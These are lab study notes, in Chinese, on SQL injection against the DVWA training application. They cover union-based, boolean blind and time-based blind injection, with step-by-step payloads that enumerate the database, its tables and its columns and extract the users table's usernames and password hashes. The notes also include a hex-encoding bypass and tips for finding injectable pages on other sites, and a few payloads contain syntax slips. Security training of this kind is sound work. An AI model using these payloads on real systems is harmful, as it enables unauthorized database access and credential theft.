DVWA
普通注入
低级别
1.判断是否存在漏洞
'
2.判断是数字型还是字符型
1 and 1=1
1 and 1=2
两种方式均能返回值,说明是字符型而不是数字型
3.猜当前页面字段总数
1' order by 2 #
#:起到将后面字符全部注释的作用
返回正常界面
1' order by 3 #
报错
=>字段数为2
4.猜解页面中显示的字段编号
1' and 1=2 union select 1,2#
5.猜解当前网站数据库名称
1' and 1=2 union select 1,database()#
6.猜解当前数据库中所有的表
1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
7.猜解指定表中所有字段名称
1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
8.猜解user和password表的具体内容
1' and 1=2 union select user,password from users#
9.对猜解出的MD5内容进行处理
中级别
URL无显示及无get传参且没有输入框,无法通过输入框进行注入
采用burp suite抓包即可
1.判断是否存在注入
'
2.确定注入点类型
1 and 1=1
1 and 1=2
当前存在注入点类型为数字型
3.猜解当前页面字段总数
1 order by 2
1 order by 3
判断出当前页面字段总数为2
4.猜解页面中显示的字段编号
1 and 1=2 union select 1,2
5.猜解当前网站数据库名称
1 and 1=2 union select 1,database()
6.猜解当前数据库所有表的名称
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
7.猜解指定表中的字段名称
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name= 'users'
会报错:安全配置对单引号进行了转义
解决方法:通过16进制编码绕过
网站:http://kw360.net/ox2str/
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name= 0x7573657273
在数字前加上0x,电脑会自动识别其为16进制并将其转换成users
8.猜解user和password表中具体内容
1 and 1=2 union select user,password from users
高级别
安全配置防止工具自动化注入,手工注入没有影响
盲注
低级别(布尔型盲注)
1.寻找可能存在 SQL注入点的页面
GET方式
通过把参数附加在URL中进行提交
寻找如下形式的网页链接
http://www.xxx.com/**asp?id=xx
http://www.xxx.com/**.php?id=xx
http://wwwxxx.com/**aspx?id=xx
http://www.xxx.com/**.jsp?id=xx
测试
在URL后加入单引号查看是否存在注入漏洞
报错则说明存在注入漏洞
POST方式
通过把参数封装在数据包内容中进行提交
寻找存在表单元素的页面
文本框
单选按钮
复选框
文件浏览框
提交按钮
测试
在文本框输入的内容后加入单引号查看是否存在注入漏洞
报错则说明存在注入漏洞
2.确认注入点类型
数字型
在URL后加入 and1=1 能正常返回数据
在URL后加入and1=2 查询不到数据
字符型
在URL后加入'and 1=1# 能正常返回数据
在URL后加入'and 1=2# 查询不到数据
1 and 1=1
1 and 1=2
判断其为字符型而不是数字型
如果不敢肯定也可以通过字符型判断语句来确定
1' and 1=1#
1' and 1=2#
3.猜解当前数据库名字的长度
在URL后加上1’and length (database())>4#
在URL后加上1’and length (database())=4#
在URL后加上1’and length (database())<4#
逐步增大猜测的数字,当返回结果是 exists 时说明猜测正确
通过上述可知,数据名称长度为4
4.猜解数据库名字的第一个字符
在URL后加上1' and ascii(substr(database(),1,1))>96#
在URL后加上1' and ascii(substr(database(),1,1))<123#
如果返回结果是 exists,说明第一个字符是小写字母
逐渐增加96这个数字或者逐渐减小123,直至查询不出数据,说明猜对
5.按照上一步的方法,逐个猜解出数据库名的每个字符
6.猜解当前数据库中一共有多少张表
在URL后面加1' and (select count(table_name) from information_schema.tables where table_schema=database())=3#
...(同上)
在URL后面加1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
逐渐增大数字,直到返回exists,说明表的总数猜对
7.猜解第一张表的表名长度
在URL后加上1' and length((select table_name from information_schema.tables where table_schema=
database()limit 0,1))=9#
逐渐增大数字,直到返回exists,说明表名的长度猜对
8.猜解第一张表名的第一个字符
在URL后加上1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96#
9.按照上一步的方法,逐个猜解出第一张表的完整表名
10.按照7,8,9的步骤,猜解第二张表的表名
####11.猜解目标表的总字段数
在URL后上1' and (select count(column_name) from information_schema.columns where table_name='users' )=8#
12.按照猜解表名的方式,依次猜解目标表的字段名
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1)1,1))>96#
13.按照同样的方式,依次猜解目标表的字段内容
中级别(时间型盲注)
用bp抓包,相同的流程走一遍,特殊字符进行转义处理
1' and sleep(5)#或1 and sleep(5)
1' and if(length(database()))=4,sleep(5),1)#
1' and if(ascii(substr(database(),1,1))>96,sleep(5),1)#
1'and if(ascii(substr(database(),1,1))<123,sleep(5),1)#
注入原理和布尔盲注一样,唯一的区别是布尔型盲注可以通过不同回显来猜解信息,而时间型盲注只能通过基于时间延迟来进行猜解